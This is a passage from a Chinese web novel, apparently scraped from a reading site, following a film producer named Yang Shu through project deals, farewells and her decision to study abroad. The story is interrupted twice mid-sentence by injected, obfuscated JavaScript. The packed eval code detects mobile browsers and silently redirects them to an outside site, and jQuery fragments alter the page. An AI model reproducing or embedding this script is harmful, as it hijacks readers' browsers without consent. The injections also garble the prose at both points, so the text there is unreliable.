今年元月份,方雯写完剧本,发给了杨树。时空穿梭故事能在现实世界搭出多层空间,向来受欢迎,《星空与深海》时不时有让杨树心中一动的地方,拆题破题也精彩,她很喜欢这种此中有真意的故事,把剧本拿给姚澈看:“我们能拿下吗?” 方雯创作期间,有家合作过的公司在寻求悬疑故事,她给对方发了剧本大纲和前3集剧本,对方很想做它,而且想做成台网联动剧,但卖给姚澈,只能做网剧。 创作者当然希望自己的作品被更多人看到,方雯去见该公司副总,但他想把《星空与深海》做成甜宠剧。在充满条条框框的审查和环境下,甜宠剧是最安全的题材,过审周期短,发行顺畅,投资回报率高,而且它是剧带人,而不是人带剧,演员片酬低。 甜宠剧被投资方认为是女观众的“审美刚需”,但按对方的意思,会放弃悬疑路子,把天文和沉船当成大背景,纯粹做个以花式撒糖为主的偶像剧。方雯很失望,《星空与深海》的气质不是甜宠,故事和人物设置也没按甜宠的范式来,如果想做甜宠剧,对方有更多选择,而不是把悬疑向拗成甜宠。 从对方公司出来后,方雯给杨树打了个电话。对方是目前极少数还肯做原创项目的公司,但他们更愿意自己提供概念,找编剧操作,买她这个剧本,也只是买一个概念,会找大编剧从头改起。 杨树无言,大公司多半是这样,只愿跟那些个数得出来的大编剧合作,在你没有作品证明是大编剧之前,他们对你的作品是戴有色眼镜看的,不存在拿到你现成的剧本,就尊重它,直接拿去拍。但是把《星空与深海》拿去做甜宠剧,实在很莫名。 杨树把剧本又看了一遍,哪怕从悬疑向改成纯言情故事,也不适合甜宠风格,男女主角之间有难以跨越的障碍,情不自禁互相吸引,又互相折磨,想要靠近,但内心却经受撕扯,这样的情感关系,比只甜不虐更让人念念难忘。 姚澈也是这个意见:“观众吃了太多糖了,得开发新口味了,方老师放心,我们做个意难平的故事。” 方雯把《星空与深海》交给了姚澈工作室开发,只提了一个要求,希望找演技派,《星空与深海》两个人的对手戏篇幅很大,演员的演技决定作品最后呈现的效果,姚澈答应了。 重启《不惑之年》列入姚澈本年度工作计划,方雯是原编剧,姚澈委托她把剧本写完。方雯很感慨,当年,安歌对剧本横挑鼻子竖挑眼,她中断了剧本写作,还抑郁了好一阵,但影视业总是此一时彼一时,风水轮流转。 祁宁对自己的定位是走长线,拍完暴骄废太子,很少再接纯言情剧,《星空与深海》的悬疑成分很浓,充满奇丽色彩,亲密关系更是写尽了真正动人和触及人性的部分,是他心中理想的爱情。但唐问羽居然跑去演别的,他挺郁闷:“你在那边只能演女主之一,都不知道你是怎么想的。” 唐问羽说:“我不想总跟你绑在一起,给你一个想我的机会。” 祁宁赶紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091495|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看杨树,生怕她误会,唐问羽看着两人笑,谈不谈恋爱,跟谁恋爱,有什么要紧呢,一直有作品推出,跟知己知彼的人谈谈天,如此就好。 形势严峻,很多腰部及以下的演员片酬都降得几乎见底,纷纷不计片酬去拍网络大电影,只求不被人遗忘。但姚澈这次没怎么压价,给了祁宁6百万,拍3个月,她说大家都不容易,得善待好演员。 祁宁能拿到好角色,钱也没少拿,再次感慨运气好。杨树一笑置之,这行人精多,最是跟红顶白,祁宁天赋和工作态度都好,人家才乐意珍惜他。 不管怎么说,祁宁的演员之路算是走出来了,明年他和长夜影视公司的长约到期了,恢复自由身,挣的钱都是他自己的了,杨树举起酒杯,跟他喝了一杯又一杯。 祁宁很希望杨树担任《星空与深海》的制片人,但杨树连着三个项目做下来,非常疲累,想给自己放个长假。 祁宁和唐问羽等演员拍完《红雨》就能走了,杨树还得在无锡把收尾工作做完,吃完饭,唐问羽和助理启程去机场,祁宁喊上助理,一起送杨树回酒店。 夜里就飞回北京了,祁宁踟躇再三,终是问:“我最快9月才拍《星空与深海》,你要休息到那时候吗?真的不能做它吗?” 杨树说:“我给它做制片,从现在就得忙了,但我有新的计划了。” 祁宁赶紧问是什么,杨树回答说想出国深造,祁宁松口气,不是结婚就好,她很久没提到秦朗了,他们大约的确是分手了。 但是如果出国,将要远隔万里,祁宁感到不舍,问:“老北京可能6月底开机,你会去吗?” 杨树说去不了,那时她身在内蒙老家备考,但《星空与深海》开机,她一定到场,那是她很喜爱的故事。祁宁嗯了一声,不说话了,杨树微笑道:“想见面还不容易,打开电脑就能看见你,人生何处不相逢,是不是?” 祁宁目光一闪,仍不说话,杨树叹声气,缓了语气,喊他的名字:“祁宁啊。” 祁宁望住她:“嗯?” 杨树说:“要珍惜一路走到今天啊。” 祁宁深切地看她,眼睛里像养了两汪清泉,光色潋滟,突然一下捞过她,把她嵌进怀里。杨树身体一僵,双手不由自主屈起来,顶在他腰间,祁宁低头,在她发顶亲了亲,轻声说:“杨树,我会努力变得好一点。” 杨树张开双臂环住他:“嗯,下次见。” 当今社会,交通发达,想见面时就能见。祁宁放开杨树,大步离去。杨树看着他走远,回房间打完包,夕阳西沉。 拍《狼穴》时,何攸之走在上海的傍晚,那一刻如诗如画,杨树回想起来,有片刻的怅然。在影视剧里见多了大时代风云,但自己身处在浪潮之中,才有了切肤的感受,人生就那么几十年可活,所以从现在开始要优先做想做的事,善待放在心上的人。 一个接一个人告别而去,制片组的工作终于结束。杨树把私人物品发去北京,让章嘉敏代收,自己带了几件换洗衣物去苏州看朱青。 90. 第 90 章 朱青租住在老城区,步行可去拙政园和苏州博物馆。房子是一楼的两居室,一间卧室,一间书房,自带户外小花园,种了石榴和梨花,朱青养的大狗趴在树荫里。 大狗名叫毛球,是一只萨摩耶,朱青每天牵它出去散步,在菜市场买些水灵的小菜和瓜果,日子过得很规律,她已习惯和耳鸣共处,不再借助安眠药。视力仍无法恢复,世界在她眼里看出去是模糊的,双腿也肿得厉害,她每天定时吃药,规定自己只工作3小时,减少用眼量。 读书分享会的规模比去年更大些,疫情期会员猛增,朱青和她的同伴们喜出望外。 从统计数据看出来,中学生和大学生占到了会员的70%以上,这让朱青格外喜悦,她一直有个看法,中学时期喜欢的文艺作品,对人有很大影响。 书房有张折叠沙发床,1米5宽,杨树在朱青家住下了,这样能随时谈天。黄昏时琴声忽来,杨树侧耳倾听,是《牧神午后》,何攸之和韩紫倩事件搞得她夜不能寐时,祁宁分享过他的歌单。 隔壁单元一楼是琴室,疫情让它生意惨淡,但琴师每天练习,朱青常常靠在小花园的躺椅里聆听。她以前不理解喝茶养花的中老年人,但现在懂了,人越活越知道放下,既然如此,就得培养打发时间的爱好。 朱青练上书法了,没别的,徽墨很清香,好闻。她总在这琴声里练字,把少年时喜爱的诗词歌赋一一写来。她的字不算好,也不懂技法,但写的过程很愉悦。 钱一诺送的那幅“百战归来再读书”,被朱青带来苏州,挂在书房墙上。杨树长久地注视它,这也是她今后的打算,回北京后,她会找姚澈辞职,回内蒙待上两年,在这期间备考,申请英国的影视制作大学。两年,全球的疫情应该就彻底结束了吧。 当《暗昼》制片主任时,杨树就力不从心,给《红雨》当执行制片人,她更感到吃力,很想找个学校深造,掌握整套影视制作的方案和解决方法。她找舒纹打听过大学,发现比起美国的商业路线,英国的影视制作体系更适合她,因为英国有深厚的文学基础,很看重剧本创作。 杨树当策划和制片赚了一些钱,大小猫创意文化公司也发展得较好,她能把房贷还掉一大部分了,剩下的租金能抵房贷,还有节余。她手上留了20万,这两年再做几个兼职,为留学多攒点钱,她给自己的目标定位是剧本研发型制片人,回北京辞完职,她就回内蒙,等她将来去英国读硕士,爸爸就去天津的房子长住。 杨树的计划里没有结婚生育,那意味着人生要开启新篇章,承担更多责任,不过,爸爸不催她,她心安理得。 朱青笑了,她跟邻居们混熟了,经常会被人问起个人问题,早几年她会嫌烦,但主流价值观的确默认人是必然会婚育的。单身生活有时是会有些不方便,但另一种人生,朱青更不想过,说到底,只是个选择问题。 朱青也给自己两年时间,把身体和作息都调养规律,脑血管病恶化就去做手术,好转就回归明堂影业,再做策划人。如果她要做手术,不管杨树身在何处,都会赶来陪她度过。 杨树这趟过来赶上好时候,清风三虾上市了,蔬果也鲜嫩,朱青带她一家家小店吃去。苏州已大体恢复如常,很多店都允许堂食,两人总坐在窗边的座位吃三虾面,谈天说地,谈论故人旧事。 霜晨月自从去蛋糕店工作,让自己忙起来,情绪渐渐好转。她以前太想写小说了,却因为没人看,出版不了,而自我折磨,后来想通了,情绪就是情绪,发作时不去抵抗,任由它来去,发作完了,就又能好一阵子。 如今,霜晨月边工作边写新小说,她依然不会开脑洞,不会写活泼热闹小甜文,但有没有人看,是别人的事,还想写,是自己的事。 杨树在无锡已抽空完成了《玫瑰掌门》文稿的编辑工作,等今年《西北年轻人》上星播出,《玫瑰掌门》将作为原著小说推出,她想霜晨月会高兴。 在苏州小住的日子让杨树快乐,她有足够的时间看小说,不再带着是否能影视化的考量,而是单纯地欣赏,像学生时代一样,抓心挠肝想知道下文,睡觉前都牵肠挂肚地想着念着。 有个下午,朱青录制读书分享会内容,杨树重温刘书云的《桥梁》,它和霜晨月的医美题材小说始终让她记挂在心,去年就发给前助手谢纵施看了,谢纵施犯了难。小说质量都很好,但时代不同了。 书店一家家倒闭,谢纵施的社里选题都瞄准公版书,他负责的子品牌自负盈亏,以社科为主,影视小说为辅,刘书云和霜晨月的作品搁在他那里有几个月了,它们都是没能影视化的故事,出版可能无人问津。但是如果每个作者在提笔之前都想,写这个能卖影视版权吗,世上将会少了多少好故事。 两部小说都在书写时代,虽然古代背景的小说更受欢迎,但当下同样值得记录。谢纵施决定出版它们,非虚构类的读物相对好卖些,但虚构类的更适合平缓情绪。新冠疫情让多少人都有此身虽在勘惊的惶然,还是看看小说吧,人生有意思的消遣不多。 谢纵施把编辑工作教给杨树,回内蒙后,杨树会逐字逐句阅读,把它们出版出来。形势逼人,太多有才华的作者消沉下去了,但这世界不应该只有公版书和教辅书。 杨树在苏州住了一周,回北京前夕,朱青和她去老字号店里吃面,然后在平江路游荡。 黄昏渐渐下起了雨,轻飘飘地淋了一身,两人慢慢走回家,好像还生活在北京,漫步在暮春初夏的后海。下次相见,彼此的际遇可能又发生了变化,但想明白的事就去做,人生就不会有遗憾。 丁盼兮和章嘉敏准备了丰盛晚餐为杨树接风。夜里,丁盼兮抱着毯子找杨树,两人又挤一张床睡,说了半宿的话。 岑川就住在楼上,丁盼兮经常和他串门。从无锡回来后,丁盼兮本来不想跟岑川说她家的事,但有天她在岑川家看投屏电影,妈妈又一次催婚,还说村人挖苦她一把年纪没人要,她发火,被岑川听到了。 丁盼兮跟妈妈说:“其实是你嫌弃吧?少拿别人说事。你的人生价值是有人要,我不是。” 妈妈哭哭啼啼,女儿三十好几了还没结婚,一家人在村里都抬不起头,她倒好,脾气跟着年纪一起长,说都说不得。丁盼兮摔了电话:“你看病钱找我报销,别的事别找我。” 妈妈开了免提,丁盼兮发火,家里人都听到了,爸爸自以为是家里权威,打电话想凶她一顿,但丁盼兮拒接他的电话。爸爸气得在微信上连发几条长长的语音,丁盼兮点都懒得点,一转头,岑川从书房走出来,正看着她。 丁盼兮嫌娘家人丢脸,但两人既然走到想结婚的地步,她有选择地说了。她曾经想过要改变妈妈的命运,把她接到身边来,但几十年不离婚,父母根本就是天生一对。 过完年,妈妈一次次打电话,丁盼兮发觉自己的厌烦大过心疼,妈妈的养老问题她不会不管,但仅此而已。 一个人不爱另一个人了,确实没什么办法,即使那个人是生她养她的母亲。丁盼兮问岑川:“你会嫌我不孝吗?” 岑川揽住她:“你不谴责自己就行。” 丁盼兮摇头,她对妈妈只剩看待可怜人的悲悯心了,将来妈妈不在了,也许她会想,哦,我对她其实不好,但也就想想罢了,她真的努力了。 岑川说人生本就各一生,和解也行,不和解也行,怎样让自己心里好过就怎样来,改变不了彼此的矛盾,但能改变自己的观念。多少人和亲人断联,此生不复见,他都能理解,何况是丁盼兮。 岑川工作很忙,总是不能陪丁盼兮,丁盼兮却总能找到自得其乐的方法,追剧,看综艺,考证,学英语,健身,她让他很放心,所以他把他的心放在她这里了。 杨树由衷地为丁盼兮开心,第一次见面,她就觉得岑川是个舒展的人,丁盼兮遇见了互相珍惜的人,真好。 大小猫创意文化公司以线上办公为主,章嘉敏不大忙,送完女儿上学,她帮着杨树收拾衣物,聊聊天。她新接了一部甜宠剧,也是IP改编,原著写得比较差,但出自小有名气的作者之手,22万字卖了150万影视版权费,是李伊梦在幕后操作的。 甜宠剧的原著作者首作是在李伊梦手上出版的,她成名较早,在言情圈子叫得出名号,几家视频网站都认她。她这部新作写到10万字,李伊梦帮她卖给影视公司,虽然没能当上制片人,但挂了总策划的名头。章嘉敏对它不看好,但她在编剧界缺资历,很想要一部独立署名作品。 杨树翻了翻小说,男主角做个蛋糕都能写一万字,这样的底子,仍有人花150万购买,再花上5000万去投拍。可她不能说投资人是错的,市场上,很多获利甚丰的影视剧,都证明了装疯卖傻能赚到钱。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091496|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 同样是装疯卖傻的《大唐银楼》,因投资太大,卖价高,仍没发行出去。大咖女主角曾经想靠它赚钱,如今不理会了,今年元月份,她在社交网络公布生子喜讯,过上了被人羡慕的有儿有女的生活。 大咖女主角已是国内最红的明星之一,仍选择赴美生子,动用试管手段诞下男婴,以求丈夫不离婚。所以这年头,现实题材喜欢写“极品渣男和小三”是有群众基础的,观众骂归骂,贡献了实打实的热度,少数人才想看拼搏事业,绝大多数不是,资方和平台最了解主体观众的口味,谁会跟钱过不去? 杨树是从低风险地区入京,不需要隔离,但她还是在家里待了一周才去见姚澈。 见面后,姚澈说刘书云那部《桥梁》可能能做了,几个投资人都对它有意向。 姚澈买下《星空与深海》时,就想让杨树当执行制片人,杨树那时就有辞职打算,推说想休息一段时间,现在姚澈让她给《桥梁》当执行制片人,这也是钱一诺的意思。杨树辞职的话还没说出口,刚想推辞,姚澈马上宽心,《桥梁》是大项目,不止聘请杨树一个执行制片人,她也会深度参与。 各大平台主打老百姓喜闻乐见的类型,但每年的献礼剧是必备的,质量欠佳的被积压,质量尚可的都陆续播掉,但明年是建党100周年,后年有党的二十大,献礼剧一直有需求,《桥梁》做成献礼剧,再合适不过。 视频网站也有几个时间节点不能播太偶像形式的作品,尤其是古装剧,KR网站和明堂影业都会给《桥梁》投一部分钱,剩下的由姚澈和钱一诺找人想办法。 明堂影业坚持做现实题材有了回报,几部戏都被平台预购了,公司回血了。钱一诺还投资了一家做游戏的公司,疫情期间流水极好,赚的钱能补贴明堂影业继续做点质量好的作品。 姚澈把《桥梁》原著小说发给夏停,夏停认为可做,刘书云上部作品《瓷缘》在献礼剧里是播得比较好的,在它的基础上再提升,《桥梁》会是很耐看的正剧。作为普通人,不能改变任何行业的未来,但不想跟着烂下去,还得做些留得久、也经得起回味的作品。 有夏停这句话,姚澈和钱一诺放手去做。姚澈让杨树放心,商务层面的事她都不管,只管具体执行。杨树是心动的,但百战归去再读书,才是她要做的事,她和姚澈聊了打算,姚澈没多留她,最多四五年,杨树就学成归国,她懂内容,再把制作方面的短板补足,是如虎添翼。 姚澈说自己这辈子就在这行扎下去了,四五年,她等得起,而且网络这么发达,杨树不能当制片人,但还能抓内容,《桥梁》的剧本创作交给她牵头做,用一年时间磨剧本,明年开机,后年播出。 杨树求之不得,姚澈设宴为她践行。《西北年轻人》已经开启招商,进入卫视排播期;《北宋宫事》也终于过审了,年内能播;《狼穴》换了脸型和五官都和何攸之相似的演员补拍,再用AI换脸,几乎没有违和感,做完后期就拿去过审。 杨树不由多喝了几杯,历经磨难的作品仍能在世间流传,现实不尽如人意,但也没变得稀巴烂,她相信未来会更好。 杨树离京前,岑川开来越野大车,带众人去公园烤串。丁盼兮和章嘉敏都舍不得杨树,但网络让人不再有距离感。 杨树订的是傍晚的航班,丁盼兮和章嘉敏一起为她送行。上一次送别,是杨树送章嘉敏,但章嘉敏终究回到北京,对于杨树的离开,她没有太多离愁别绪,等到祁宁主演的《星空与深海》开机,就在上海相聚,又能见上面。 夜机向云层飞去,杨树望向舷窗外,2011年来北京,已是第十个年头,往事历历在目。 跟章嘉敏逛西单图书大厦,一人捧一杯奶酪吃;南锣鼓巷,朱青指着兴建中的建筑物围墙上,有人画了可爱的漫画;国子监的小店里,丁盼兮搂着好友们自拍;在明堂影业门口,兴冲冲去赴祁宁的约,祝贺他拿到了心仪的角色;还有那成为过去式的恋人,他总记得女朋友随口提到的小事,吃到好吃的,总不自觉往她嘴里送…… 人生是快乐的,很多事为证。杨树俯看一城璀璨灯火,13岁小学毕业,为北京申奥成功欢呼,跟爸妈说喜欢北京;23岁大学毕业来到北京,坐在大巴里张望窗外宽阔的长安街,一切好像还在昨天。总有一天,她会回来。 ——初稿于2020年2月-8月